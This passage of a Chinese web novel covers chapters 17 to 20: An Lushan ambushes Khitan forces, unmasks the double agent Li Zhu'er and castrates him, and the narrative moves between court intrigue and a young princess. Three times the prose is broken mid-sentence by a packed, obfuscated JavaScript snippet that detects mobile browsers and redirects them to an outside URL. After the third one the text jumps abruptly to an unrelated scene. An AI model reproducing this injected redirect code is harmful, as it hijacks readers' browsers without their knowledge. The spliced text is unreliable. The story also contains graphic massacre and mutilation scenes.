抛开人力暂且不提,营州的军需境况一度造成了其严重的财政紧张,最严重的时候,某一任都督因为发放粮草出现了问题,沦落到了被军士殴打的地步。 这样庞大的军需,大唐也许负担得起,但是因为大唐当时的财政制度,也不允许破格给营州充足的军需。 这几乎是每一任营州的最高长官都会苦恼的事情。 但是这一任的营州都督,是安禄山。 安禄山早年的牙郎经历与他个人的商业天赋,促使他在营州内想出了一整套全面的经商方法,成功缓解了营州的军需和财政问题。 这项能力,在整个大唐所有的高级将领之中都是无可替代的。 因此,安禄山成功赢得了威望,收获了人心。 而就在他备受下属和百姓的爱戴的时候,他终于迎来了自就任营州后的第一场战争。 一直蠢蠢欲动的契丹部落,终于南下发兵,侵袭营州。 该轮到这位营州最高级别将领,发挥他本职能力的时候了。 对此,安禄山并没有急于派兵,而是先派人探听清楚了契丹的动向,派小部分队伍假装败仗,引诱敌人乘胜追击。 而后于必经之路的两山夹道设下埋伏,瓮中捉鳖。 天已入秋了,风中夹杂着一丝寒冷的气息。 山坡之上,安禄山穿着一身甲胄,倚在巨石前闭目养神。 四周的埋伏和伏兵都已经设置准备好,不断有探子来报告契丹的动向,敌军在我军的引诱下逐渐接近这里,很快就能到达埋伏点。 而敌军一旦来到山坡下,他们迎来的,将是被一网打尽。 眼看着敌军越来越近,这时,却有探子来报,敌军停在了距离夹道处十里的地方,不动了。 显然敌军也预料到了此处会有埋伏。 安禄山示意手下加强警戒,注意四周。 他们在高处,真要打起来,敌军无论如何都不可能占优势。 最差的结果就是对方撤兵,这一整天的埋伏都打水漂。 两军遥隔十里,气氛剑拔弩张。 这时,有手下来报,有敌军派来的探子被发现了。 并且他们把探子活捉了回来。 17. 就任第一战 那个探子很快被带到了安禄山的面前。 安禄山眼神微寒地打量着面前的探子,令他有些惊讶的是,这个探子眼神如炬,竟没有表现出一丝一毫的恐惧。 他饶有兴趣地开口问道:“你知不知道,两军交战时,被敌军抓住的探子一般都是什么下场?” 自然是格杀勿论。 闻言,那个探子连忙上前一步,而后被身后的士兵拽了回来。 “将军别杀我,我能帮将军的!” 安禄山略微挑眉:“你能帮我什么?” 探子回道:“将军若是放我回军,我就帮将军传递假情报,引诱我军来到埋伏地,届时我军可任由将军处置!” 安禄山那张凶悍的脸上逐渐浮现出冷笑:“我为什么相信你?” 应该说,傻子才会信吧! 那个探子似是也明白自己空口无凭,他踌躇了一下,随后道:“将军若是对我军有所了解,应当知道我军追击的这支部队兵力不多。” “以我们的兵力,不可能从山坡下包围将军的部队,所以一旦打起来,我军肯定处于劣势。” “如果将军您现在杀了我,我军迟迟不见我回去,就会撤兵;如果将军您放我回军,我即便是将情况如实汇报,我军最好的办法也只是撤兵。” “无论您放不放走我,您都没有损失的将军!”那个探子神情焦急,迫切道,“杀了我一个探子,对我军的兵力没有任何损失;可若是放我回军,帮将军传递假情报,那就完全不一样了呀!” 闻言,安禄山这才微微正了正身体,开始正眼瞧他了。 “你叫什么名字?” 那个探子被安禄山森严的目光注视着,额头和后背逐渐渗出了冷汗:“我,我是奴隶出身……叫李猪儿。” “李猪儿……”安禄山低声默念着这个名字,而后忽地笑了。 他伸出手,拍了拍李猪儿的肩膀:“好好干,若是今日你能活下来,就在我身边做亲兵。” 闻言,李猪儿的一双眼眸赫然亮了起来。 因为他是奴隶出身,即便后来从军,也是所有士兵里的最底层。 最受苦受累、最容易没命的任务永远是派给他来干的,能捞到军功的任务也永远是与他无关的。 可是即便如此,他还是会被别人瞧不起,动辄轻视打骂。 尽管他不知道面前的这位将领在敌军之中有着多高的地位,但是能成为一名亲兵,那也比从前好上太多了! 这般想着,李猪儿惊喜道:“真的吗,谢谢将军!” 安禄山朝属下随意摆了摆手,放李猪儿离开了。 …… 李猪儿果真信守承诺,带着契丹的军队进入了埋伏地的夹道中。 契丹军队的首领见到中了埋伏,气急败坏地想要杀了李猪儿,却被后者抢先一步砍下了头。 随后,契丹的整个军队也被安禄山的军队迅速席卷,溃不成军。 李猪儿命很大,他不仅从砍杀如乱麻的战场上活了下来,还抱着那个契丹首领的人头来到了安禄山的面前。 而安禄山也果真信守承诺,吩咐手下带契丹俘虏们回营州以后,安排李猪儿成为了自己手底下的一名亲兵。 这时李猪儿才知道,原来这位欣赏他的将领,居然就是营州都督本人。 而安禄山的亲兵之中,也有许多和李猪儿一样出身藩族的人。 当时李猪儿砍杀的那个契丹军将领,其实就是对营州发动侵袭的罪魁祸首。 那个契丹将领是契丹部落联盟中,日连部落上任酋长的次子,三月前老酋长去世,长子和次子争夺可汗之位,最终长子接任酋长之位,次子败走。 长子于契丹全境悬赏次子人头,次子慌不择路,最后选择南下逃命,侵袭营州。 当时次子的军队被安禄山埋伏时,其实次子的军队不止这点兵力,只是次子被安禄山安排的“败仗”骗到了,因着急功近利,所以亲自带了一小队人马追击“逃兵”,却不曾想为此断送了性命。 李猪儿将次子的主力部队所在告知安禄山以后,后者亲自带兵追杀次子的残余部队,大捷。 当捷报送往长安以后,安禄山略有些欣赏地看着李猪儿。 这小子很机敏,等再磨练磨练,可以分派给他十几个人带队试试。 而聪明的李猪儿也迅速发现了领导的赏识,趁热打铁道:“将军!” “下官先前为奴隶时,在日连部落老酋长和新酋长的帐中都伺候过,了解现在日连部落的军队和兵力。”李猪儿激动地看着安禄山,“也许我们能趁机发动侵袭,消灭日连部落,重创契丹!” 闻言,安禄山有些意外地看着他。 能够分别在老酋长和新酋长帐内贴身伺候的奴隶,定然是受到了相当宠信的,怎么会成为叛军里的士兵? 这就好比一个先后贴身伺候过先皇和当今的大太监,最后却跟着叛军跑了。 有意思,真有意思。 李猪儿被安禄山森寒的目光盯得脊背发寒,只是他仍未意识到自己说漏了嘴,他紧张地问道:“将军可是觉得,这样不妥?” “不,很妥。”安禄山轻轻地笑了一下,“你把孙孝哲他们喊过来,咱们仔细密谋此事。” 最后,进攻日连部落的计划被敲定了。 而与此同时,安禄山灭掉日连部落老酋长次子与其军队的捷报,也递到了李隆基的案头。 看完了那封捷报,李隆基的脸上浮现出了欣赏的笑意:“这个安禄山果然是可造之材。” 高力士含笑道:“陛下果然慧眼识珠。” 李隆基笑着将这封捷报翻过,拿起了下一封来自灵州的奏疏—— 灵州节度使韦光乘调任卫尉卿上将军,接任者上荐王忠嗣。 “荐任忠嗣?”李隆基沉吟道。 忠嗣那孩子不愧是从小在宫里养大的,长大以后骁勇善战,屡建奇功,想来也是备受同僚推崇。 说起来,那孩子在河东节度使的位子干了也有一年了,军功卓著,想来再兼任一镇节度使应该问题不大。 这般想着,李隆基看向侍奉在侧的高力士:“你觉得如何?” 高力士恭敬道:“王忠嗣将军承陛下教导,有勇有谋,自任河东节度使后功绩斐然。” 这意思很明显了,高力士觉得让王忠嗣接任灵州节度使,不错。 李隆基微微颔首:“传李林甫进宫。” …… 彼时,宰相李林甫正在自家的正堂内喝着茶。 而在他的下首座,正坐着满脸笑意的杨钊。 院外,十余个奴仆将成箱的钱财珠宝搬进府库。 李林甫瞥了一眼院外的箱子,以及忙碌的下人们,再抬起头时,脸上已经布满了笑意。 “杨员外的意思,李某已经知晓了,杨员外志向远大,李某自当鼎力相助。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14430318|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 真不愧是贵妃娘娘的外戚啊,不过一个度支员外郎,就已经这么有钱了。 话说这小子明明是贵妃娘娘的族兄,怎么八年来才只升了一次官? 这其中定然有猫腻。 不过这些就不是自己该管的了,哪怕这小子和贵妃娘娘私下有嫌隙,他们也是同族,一荣俱荣,一损俱损,无论如何都不会撕破脸的。 这般想着,李林甫看向杨钊的目光中又多了几分深意。 而此刻杨钊的脸上已经堆满了谄媚的笑意:“世人皆道李相公明查圣意,深得帝心,下官的仕途,可就全都仰仗相公了。” 闻言,李林甫的心里逐渐泛起冷笑。 这个杨钊不过市井无赖出身,才学浅薄,全仰仗他那受宠的族妹,能得一个度支员外郎已是不易,如今居然还想要往更高处爬。 不过这也正好,像这种笨蛋,朝中越多越好。 笨蛋越多,能威胁到他的相位的人也就越少。 李林甫虽看不起杨钊依靠裙带关系上位,但是不得不说的是,就因为这层裙带关系,他最好对这个小员外郎礼遇相待。 这般想着,他含笑看向杨钊:“李某必定尽力而为。” 这时,有下人匆匆步入正堂,附到李林甫耳边低语道:“相公,圣上有旨,传您入宫。” 李林甫略微挑眉,待下人离去后,起身送杨钊出门,而后骑马入宫面圣。 · 数日后,河东节度使王忠嗣入宫觐见陛下,受任灵州节度使。 而与此同时,千里之外的营州与契丹边境,安禄山正带着手下的军队接近日连部落。 至夜里,李猪儿悄悄地走出了军帐。 他站在军帐外,左右环顾四周无人,这才稍稍松了一口气,蹑手蹑脚地往军营外走去。 然而他不知道的是,在暗处,有一个人已经悄悄盯上了他。 等到李猪儿走出军营以后,他来到了一个相对偏远僻静的地方,朝着空中吹了个口哨。 少顷,一只黑鹰不知从何处飞来,在夜空中不断地盘旋、下落,最后落到了李猪儿的肩头。 李猪儿从怀里拿出了一张纸条,塞入了绑在黑鹰腿上的信筒中,而后伸出手轻抚着黑鹰光洁的羽毛,用契丹语对着黑鹰低语了几句。 随后,黑鹰展开它那宽大雄伟的羽翼,重新融入了夜色之中。 今夜天气阴沉,乌云遮住了月色,狡黠的黑鹰选择了在低空中飞翔,却没有想到,这正巧给了有心人机会。 黑鹰才刚飞了没多久,忽地翅膀处传来了剧痛,疼得它自空中掉落了下来。 随后,它的翅膀便被一个人扯住了。 它抬起那尖锐的爪子,登时在那个人的手臂上留下了一道鲜红的血痕,随后使劲挥动着翅膀想要挣扎出那个人的手中。 鹰几乎是天空中的王者,力气之大可翻江倒海,破空的翅膀几乎如利刃般锋利,然而对方竟也是极其得凶猛强悍,黑鹰用尽了力气,居然仍旧挣脱不开。 对方用契丹语暗骂了一声:“真是个畜生!” 而聪明的黑鹰居然听懂了,对方是在骂自己,向来训练有素的它也忍不住张开口,想要发出警告的叫声。 但随后,它的头便被对方打了一拳。 黑鹰气急了,朝对方猛伸过头,想要用锐利的尖喙去啄对方。 一人一鹰,在昏暗的夜色中缠斗了起来。 18. 墙头草间谍 今夜无月,整个军营里寂静到了极点。 大多数军士们都已经睡下了,几乎所有的军帐都隐入了黑暗之中。 唯有在军营的最中央,那顶最大的军帐内依旧泛着灯光。 彼时安禄山正坐在桌前,手里握着一本无名书,目光在其中一页上停留了许久。 少顷,有属下进来通传:“都督,偏将田乾真求见。” 安禄山这才从书中抬起头来。 接着便听到属下继续道:“田将军手里还带着……呃,一只鹰。” 哦? 安禄山略微挑眉,颔首道:“让他进来。” 属下领命退了出去,很快,田乾真便带着已经捆绑好双脚和翅膀黑鹰走了进来。 他看到安禄山将手中的书本放到桌上,敞开的纸页上似是写着一首诗,在那一页的最右列,写着醒目的“清平调”三个大字。 而在那本敞开的书本旁,则放着一个小木盒,木盒的盒盖敞开着,可见里面放着一朵用妍丽硕大的藕荷色牡丹制作而成的干花。 他略微低头,恭敬道:“回禀都督,果然不出都督所料,那个李猪儿深夜出营,利用黑鹰通信。” 田乾真说罢,便将手里的黑鹰呈上。 “这只黑鹰就是李猪儿放飞后,属下从空中截下来的。” 安禄山抬起头,敏锐地瞥到了鹰腿上绑着的信筒。 而后,他的目光缓缓落到了田乾真的身上。 后者今夜跟踪为求隐秘,尽量不发出一丝一毫的声响,身上未穿任何甲胄。 也正因如此,他身上那与黑鹰搏斗留下的伤口清晰可见。 但见田乾真的肩膀、手臂上皆挂了彩,数道伤口正往外渗出血迹。 而那只囹圄之中的黑鹰,仍旧在奋力挣扎,却始终无法挣脱束缚。 安禄山轻轻地笑了:“与鹰搏斗,你这几道伤口留下的可不是伤疤,是英雄的勋章。” 田乾真的脸上亦露出了腼腆的微笑:“都督谬赞。” 随后安禄山便起身来到田乾真的面前,打开鹰腿上的信筒,取出那张纸条。 待看清楚那纸条上的字,安禄山不由得皱紧了眉头。 纸条上所写的,自然是军队的情报。 李猪儿果然是日连部落新酋长安插在次子军队里的间谍。 如今李猪儿来到了他的麾下,自然也就成为了日连酋长安插在他手下的间谍。 可是,李猪儿递给日连酋长的这封情报里,竟然只有一半信息是真的,另一半却是假的。 这个李猪儿是什么意思? 传递给日连酋长半真半假的情报,难不成他不想当日连酋长的间谍了,想弃暗投明? 那他最好的做法应该是,把在日连酋长手底下当间谍的事向自己坦白,而后根据自己的吩咐传递假情报。 而不是自作主张地传递真假参半的信息。 眼见着他的神色越来越凝重,田乾真不禁开口道:“都督,情况很严重吗?” 安禄山缓缓摇了摇头。 末了,田乾真又问道:“那......是否需要属下去把李猪儿抓起来?” 安禄山沉吟了片刻,最后道:“不必。” 他将那张纸条重新卷好,放回到绑在黑鹰腿上的信筒中。 “你去把黑鹰重新放飞回去,不要打草惊蛇。” 田乾真登时就懂了安禄山的意思:“都督是准备将计就计?” 安禄山微微颔首。 他在心里已经隐约有了一个猜测。 只待明日,便可印证。 “好,属下这就去!”田乾真当即告退。 待到田乾真退出了军帐以后,安禄山重新将目光落到了那略微有些发黄的书页上。 当初李白于公主生辰宴上所献的《清平调》,几乎在宴会结束的翌日便名动全长安。 没过多久,这首诗便上了长安城的各大书肆。 安禄山在离开长安城之前也买了一本。 他之前从未念过书,不知道书本之贵,那日还是他第一次买书。 结果就这么小小的一本,贵得他肉疼。 甚至于他当时带的钱连买半本都不够,还是临时跟同僚借的钱。 自来到营州以后,他日夜研读,酌字酌句地念、学,才终于读懂了这首诗的含义。 原来这首诗说,长安公主,是仙子啊…… 公主她,是群玉山头的仙子,是瑶台月下的神女。 那个叫李白的人,写的可真好啊...... 安禄山深吸了一口气,而后缓缓闭上了眼睛。 心里的那个目标愈发坚定。 他一定会,再次回到长安的。 · 翌日,安禄山的军队已经深入契丹境内,距离日连部落越来越近了。 至午时,军队短暂地停留休整,准备午膳。 安禄山下完原地休整的命令后,也随之下了马。 这时,他先前派出去勘察敌情的队伍回来了。 队长孙孝哲来到安禄山的面前,抱拳行礼:“都督!” 安禄山略微颔首:“怎么样了?” 孙孝哲从怀里掏出了一张绸绢,递到安禄山的面前。 后者接过绢帛展开,只见上面画的是日连部落目前筑营的舆图,只是上面却有着许多的涂改痕迹。 舆图原本是李猪儿用竹枝画在地上,画完最终确定无误之后,再由记室参军临摹在绸绢上的,一笔定型,绝不会涂改。 现如今舆图上的这些痕迹,显然是孙孝哲在带队勘测完真正的地形之后,再行涂改的。 涂改的地方不是很多,这说明李猪儿给的舆图大致是没错的。 但恰恰就是这些“不是很多”的涂改位置…… 安禄山的眉头缓缓皱起。 随后,孙孝哲往前一步凑近安禄山,附到后者的耳边小声道:“不出都督所料,舆图上许多关键的地方与实际地形皆有出入。” 孙孝哲这般说着,伸出手在舆图上的几个位置指了指:“尤其是都督先前特别嘱咐的这几个地方,与李猪儿给出的情报完全不同。” 安禄山的嘴角微微勾起了一抹冷笑。 这个李猪儿真是能耐啊,想用对日连部落酋长那一套也对付他? 他唤来记室参军,令后者将舆图重新临摹一遍,而后朝着孙孝哲摆了摆手:“你也尽快休整,用过午膳,继续行进。” 孙孝哲的面上闪过一丝惊讶,他回过头环顾四周,见到所有人都在用午膳,没有人注意到这边,这才小声问道:“咱们不把李猪儿抓起来吗?” “如今咱们就快接近日连部落了,把李猪儿抓起来,用尽酷刑,等折磨致死后割开头身,用架子支起来,等到打仗时把架子和军旗举到一起,必能令敌军胆寒!” “不。”安禄山摇头道,“他还有用。” 闻言,孙孝哲不好再说什么,只好躬身又行一礼,退下用午膳去了。 用过午膳之后,军队收拾行囊,不出半日,至日暮时分,终于可以遥望到日连部落的营帐。 安禄山率队来到一个山坡上,按照舆图上的地形,分派给各部将隐匿的地点,至夜里发动突袭,包围日连部落。 他治军向来号令严肃,刚下完命令,军队立即就散开了,各部将带着自己的队伍,到达指定的位置隐匿了起来。 因着夜里才发动突袭,时辰尚早,便有士兵趁机在原地休息小憩,或是拿出随身的干粮来充饥,只要不发出太大响动即可。 这时,李猪儿悄悄来到田乾真的身边,面露苦涩道:“队长,我肚子有点不舒服……” 田乾真嘴角微抽:“快去快回。” “好嘞!”李猪儿如蒙大赦,忙不迭往远处去了。 眼见着李猪儿走远,田乾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440951|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真来到安禄山的身边,小声问道:“都督,可否需要属下继续跟踪……” “不必。”安禄山微微抬起眼眸,看着李猪儿逐渐离去的背影,吩咐道,“你去通知各部,两刻钟后,发动突袭。” 这个李猪儿若是能在两刻钟内回来,那就秋后算账,若是不能…… 他也不必回来了。 彼时,李猪儿方才找借口离开部队。 他轻手轻脚地寻到了一个较远的地方,左右环顾周围没有人跟踪以后,连忙换下自己身上的唐军衣服,向着日连部落跑去。 他一路跑进了部落的营地,穿过无数营帐,直奔日连酋长的帐篷。 日连酋长得知是他来了,连忙把人唤进来,用契丹语焦急地问道:“唐军已经打过来了?!” 李猪儿一边喘着粗气一边道:“还,还没有。” 日连酋长这才松了口气。 复又问道:“那你怎么自己跑回来了?” 李猪儿连忙道:“营州都督吩咐唐军隐匿在咱们部落的四周,至夜里发动突袭!” 此言一出,日连酋长当即被吓了一跳,他慌张地左右来回踱了几步,最后道:“夜里才进攻,那就是还有时间!” 他这般想着,连忙唤来自己的亲信:“快,你快带兵按照之前说得那几个埋伏点,好好地埋伏起来,快去!” 先前日连酋长边和李猪儿传信,在几个关键的地方设置了隐蔽的埋伏点,用来抵御唐军。 正是李猪儿给安禄山画的那张舆图里,有错误的那些地方。 也是日连酋长对抗唐军最大的倚仗。 李猪儿眼见着信送到了,连忙拜别日连酋长就要往外走。 日连酋长连忙拉住他:“两军就要开战了,你不在营里呆着,还要回敌军那去不成?” 李猪儿的眼珠子“滴溜溜”转了转,回道:“酋长您也知道奴如今是营州都督身边的亲兵,打仗时离营州都督最近,至夜里打起来以后,奴正好趁乱杀了他。” “届时敌军大乱,我军更容易取胜!” 闻言,日连酋长脸上的神情立即变得不可思议。 那样的话,身处敌军之中的李猪儿必定会被千刀万剐啊! 聪明的李猪儿自然猜到了日连酋长的惊讶是何意,他的脸上登时换上了一副视死如归的坚决。 “为了日连,奴万死莫辞!” 日连酋长当即大为感动,他的脸上挤出了一副沉痛的模样,郑重地拍了拍李猪儿的肩膀。 “好孩子,等这一战以后,我会亲自在佛祖前为你祈祷,愿你来生转世贵族家。” 闻言,李猪儿在心里泛起了一丝冷笑。 他费心尽力地为部落做了那么多,结果到死都只是个奴隶,还要指望下辈子翻身。 这么一比较,果然还是唐军那边更好啊。 只是想归想,李猪儿面上还是表现出了一副感动得要哭的模样,朝日连酋长磕头跪拜。 等出了营帐以后,李猪儿自然不会直接回到唐军的队伍里,他先是去部落周围检查自己先前设下的藏匿点—— 先前他误导唐军的那几个关键点,并不全是埋伏点,还有一小部分是他给自己准备用来藏身的。 等到了晚上一开打,他趁乱躲起来,躲在暗处观察形势。 看哪一边形势大好,他就出去替哪一边打仗,这样无论哪一边赢到最后,他都能被认为是自己人,还能跟着立大功。 日连部落在契丹八部里面不算小,但是比起营州来还是差远了,没一会的功夫,李猪儿就把自己的藏匿点都检查完了,没有任何疏漏。 正当他拍拍手准备回唐军的时候,忽地远处响起了号角声。 李猪儿心里猛地一沉。 这,这号角声明明是…… 果不其然,紧接着他便听到四处传来大喊:“有军队来进攻了!” “救命啊——!” 19. 亲兵变宦官 远处的唐军从四面八方冲来,铁骑开路,步兵压阵,一步步地逼近着日连部落。 随着敌军越来越近,脚下的土地也开始不断地颤动起来。 仿佛面对着汹涌而来的敌人,连大地都在害怕地发抖。 日连士兵们惊慌地叫喊着,匆忙拿起武器铠甲去迎战。 可是敌军已经将他们彻底包围了,从各个方向排山倒海般袭来,他们根本不知道要去哪边抗敌。 李猪儿整个人都慌了。 他在原地呆愣了片刻,而后迅速转身,毫不犹豫地藏进了身后的藏匿点。 怎么回事?! 不是夜里才突袭吗?! 李猪儿整个人都被难以置信填满,只是他尚未来得及深想,远处便已然爆发出了振聋发聩的呐喊声和厮杀声,山崩地裂。 他看见藏在埋伏点的日连士兵们静静地等待唐军接近,准备给予唐军致命一击。 而后却被唐军一个不剩地全都揪了出来。 随后唐军手起刀落,日连士兵们的人头飞滚了出去,断口处喷涌而出的鲜血宛若一座座血色的喷泉。 他看到了营州都督安禄山策马飞驰而来,那骑在高头大马上的强健身影如同一座无法逾越的高山。 而在安禄山的身后,是一眼望不到头的铁骑和兵阵。 彼时,安禄山正亲自带头冲锋,身披甲胄,一马当先。 他看着迎面而来的敌军士兵,面不改色,握紧手中的弯刀抬臂横扫,只见刀光闪过,面前的两个日连士兵已然身首异处。 那两个士兵的鲜血染红了脚下的土地,而他们的身体也被后续跟上来的铁骑踏成了肉泥。 此情此景,好比人间炼狱。 安禄山的脸上、盔甲上,乃至于他身下的战马上,都已经溅满了鲜血。 他抬手抹掉脸上的血,在白皙的肌肤上留下了血红的抹痕,凶狠的目光仿佛雪原上饥饿的头狼,带领着自己的狼群进入羊圈,肆意捕杀着软弱无力的绵羊。 后面跟上来的日连士兵看到打前锋的战友们全都变成了肉泥,无一幸免,他们纷纷停下了脚步,惊恐地看着军队最前面的安禄山。 他们的双腿不断颤抖着,不止是谁先叫喊了一声:“逃啊!” 所有人争先恐后地转身逃窜。 而那些尚未来得及逃跑的,皆在刀光血影之中化作了唐军的刀下亡魂。 唐军的铁骑所到之处,连一具完整的尸体都看不见,鲜血染红了战马的马蹄,好像给它们套上了一双双血色的战靴。 日连部落的百姓们也在四处逃窜着,有慌不择路往前线跑去的,也全都陪着日连的士兵去了阴曹地府作伴。 最后,几乎所有人都被唐军驱赶着往部落的最中心逃去。 部落的最中心是日连酋长的营帐,此时日连酋长正在亲卫的护卫下大声喊叫,说着“逃兵一律处死”之类的话,却被百姓们裹挟着淹没在了人流之中。 包围圈越来越小了。 途径的那些营帐,在唐军的铁骑和刀锋之下恍若一块块硕大的棉花一般无力,被砍断了柱子轰然倒塌,而后同那些倒下的日连士兵一样,被后来跟上的铁骑踏碎。 随后,安禄山下令全军减慢速度,慢悠悠地、一寸一寸地,压缩着日连人生存的空间。 所有人都恐惧地望着策马走在最前,身披血色战甲,带着凶猛的铁骑一步步向他们压过来的安禄山。 那一刻,对方在他们的眼中并非唐军的将领,而是来自地狱的死神。 日连已经完全无力抵抗了。 所有人都颤抖地聚拢在一起,挤成了一个圈。 圆圈最外面的人拼命往里面挤去,把里面的人挤出来,而后被挤出来的人又惊恐地往回挤,反反复复。 密密麻麻的人群恍若地上的虫蚁,只待他们踩扁。 这时,有一个约莫七八岁、身上穿着黄色小裙子的女孩子被挤了出来。 她惊恐地看着迎面压过来的唐军,豆大的泪珠不断自眼眸中涌出,恐惧甚至令她忘记了哭喊和逃跑。 人群里传来了呼喊声,不知是谁在用契丹语大喊着:“公主!救公主啊!” 眼见着唐军越来越近,就当距离女孩最近的那个士兵将要冲她挥起刀时,安禄山下令军队停下了脚步。 他看着那个胆怯地缩成一团、全身都在颤抖的小女孩,脑海中不断地回荡着方才的那句呼喊。 公主...... 在千里之外的长安,也有一个和她年纪相仿的公主。 那个公主无比的尊贵,她是牡丹仙子降世,满长安城信徒遍布。 他从未见过那个公主哭泣的模样,却亲眼目睹过她的脸上绽放出了世间最美的笑容。 有那么一瞬,安禄山微微地晃了神。 恍惚间,他仿佛看到面前这个哭泣的公主不是日连部落的公主,而是...... 不知为何,胸口忽地传来转瞬即逝的剧痛。 安禄山猛然回过神,他低下头,微不可闻地叹了口气。 而后冷冷地看着眼前这些砧板上的鱼肉,用契丹语冷漠地吐出一句:“降者,不杀。” …… 那些挤在一起瑟瑟发抖的人群里没有日连酋长的身影,唐军找了许久,最后发现他已经被人群踩成了肉饼。 至于投降的那些俘虏,或是充军或是奴役,还需押回营州以后再行裁决。 等到战斗结束以后,藏在隐匿处的李猪儿也被揪了出来。 他被推搡着跪到了安禄山的面前,满脸都是难以置信。 怎么会? 他的隐蔽点明明是天衣无缝的,怎么还会被看出…… 不,不对。 李猪儿猛地想起,不只是他,所有埋伏起来的日连伏兵,也全都被找了出来,一个不漏。 难道唐军一早就知道那些位置?! 他这般想着,忽地面前传来了一声冷笑,打算了李猪儿的思路。 面前的安禄山已经翻身下了马,他微微低下头,居高临下地看着李猪儿。 “在岭南,有一种和守宫差不多的小玩意,叫做避役。”安禄山整理着身上的战甲,漫不经心地开口道,“避役的皮可以变色,遇青则变青,遇蓝则变蓝。” “就如同有些人,见风使舵,见到唐军就对着唐军献媚,见到日连就对着日连尽忠。” 这般说着,安禄山伸出手,捏起李猪儿的下巴,强迫后者看着自己。 而后,他的脸上露出了一个令人胆寒的狞笑。 “你说,到底谁会是这种人呢?” 而被他直视着的李猪儿,更是从头到脚都感受到了一股刺骨的寒冷。 原来……自己以为天衣无缝的计谋,从最开始就被看穿了。 对方一直都在将计就计,只等着自己自投罗网。 两行泪水自李猪儿的脸颊滑落,他结结巴巴地哭喊着:“求,求都督饶命啊!” 他全身都在不断地颤抖,在安禄山松开手的那一刻,当即以头触地,“砰砰砰”地磕了三个响头。 “属下再也不敢了,求求都督饶过属下这次吧!” 而安禄山就这么静静地看着他垂死求饶。 过了许久,正当李猪儿以为自己难逃一死之时,安禄山却开口了:“你很聪明。” “聪明到想要算计我,但却没有聪明到能够算计我。”安禄山说着微微俯下身,直视着李猪儿恐惧的目光,“我很欣赏你,所以打算饶你一命。” 闻言,李猪儿那双绝望的眼眸登时重新迸发出光亮,他再次不断地朝着面前的安禄山磕头:“谢谢都督,谢谢都督!” 随后,他便听到安禄山慢悠悠道:“你既然先后在日连两任酋长的帐内贴身侍奉,那看来是非常会伺候人的。” 李猪儿微微一愣。 他尚未能理解对方这句话的含义,紧接着面前的安禄山便挥起手中的弯刀,迅速地刺向他的双腿之间。 撕心裂肺的喊声划破了宁静的空气。 李猪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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当然,最少不了的,自然是他但凡出宫,都一定会带上的贵妃和宝贝女儿。 李婉宁也很喜欢泡澡,本来她从前还没有那么执着于泡澡的,直到有一次她跟着阿爹去面见诸臣,看见有的大臣头发都油成一缕一缕的了,而其他人对此居然见怪不怪。 她先前只是知道古代人没有很好的卫生习惯,但是她没有想到能脏到这种地步啊! 也幸亏她的阿爹阿娘也都很讲卫生,连带着宫内的宦官宫女们也勤洗头洗澡,不然她难以想象自己的童年到底会有多么的可怕。 如今听到阿爹说今年可以提前去华清宫玩,她高兴地原地跳了好几下,一连好几天走路都是蹦蹦跳跳地。 要知道,华清宫可不仅仅是能泡温泉,更是她难得能出门玩的机会! 在这个要啥啥没有的古代,出去玩几乎是她唯一的乐趣了呜呜呜。 这几日阿爹阿娘在准备去华清宫要捎带的东西,李婉宁无事可做,只好每天多练些字。 她从小就被阿爹阿娘宠着惯着,在她这个年纪,大户人家的孩子基本都精通骑射乐舞了,只有她,啥也不会,阿爹阿娘也不苛求她去学什么。 唯独练字这一项,她从小到大都没有放弃过。 巧织在一旁给她研墨,她伸出小小的胳膊提起笔,认认真真地照着字帖临摹。 待到几列秀丽的小字落于纸上,巧织含笑道:“小殿下的字同陛下越来越像了。” 李婉宁眉眼轻弯,笑得开心。 她的字就是跟阿爹学的。 很小很小的时候,就是阿爹握着她的手,教她一笔一划地写横平竖直。 现在她临摹的这张字帖,也是阿爹亲手给她写的。 一张纸好不容易练完,李婉宁放下毛笔,张开小身板伸了个懒腰。 这时,宫人过来通传道:“启禀小殿下,王忠嗣将军入宫拜见陛下,陛下和娘娘唤您过去。” 20. 金铃铛耳饰 “什么,忠嗣哥哥来了吗!” 闻言,李婉宁那双灵动的杏目登时变得闪闪发亮。 她高兴地跳下椅子,蹦蹦跳跳地朝殿外跑去。 忠嗣哥哥从小就被阿爹养在宫里,和阿爹虽然以君臣相称,但是世人皆知,左金吾卫将军王忠嗣乃陛下的养子。 而且,忠嗣哥哥是所有哥哥里面和阿爹最亲近的,对她也超级好,她很喜欢忠嗣哥哥! 李婉宁一路跑到了阿爹的南薰殿,在正殿的门前停了下来,而后张开双手放在嘴边,高兴地朝里面喊道:“忠嗣哥哥!” 宛若银铃般悦耳的声音一路响进了内殿,李隆基笑着看向王忠嗣:“宁儿喊你呢,快出去把那丫头接进来吧。” 王忠嗣含笑应了声,随后转过身,大步流星地往外边走去。 李婉宁迈着小步子“哒哒哒”地往里面跑着,迎面便看到王忠嗣从内殿走了出来,朝她笑着张开双臂。 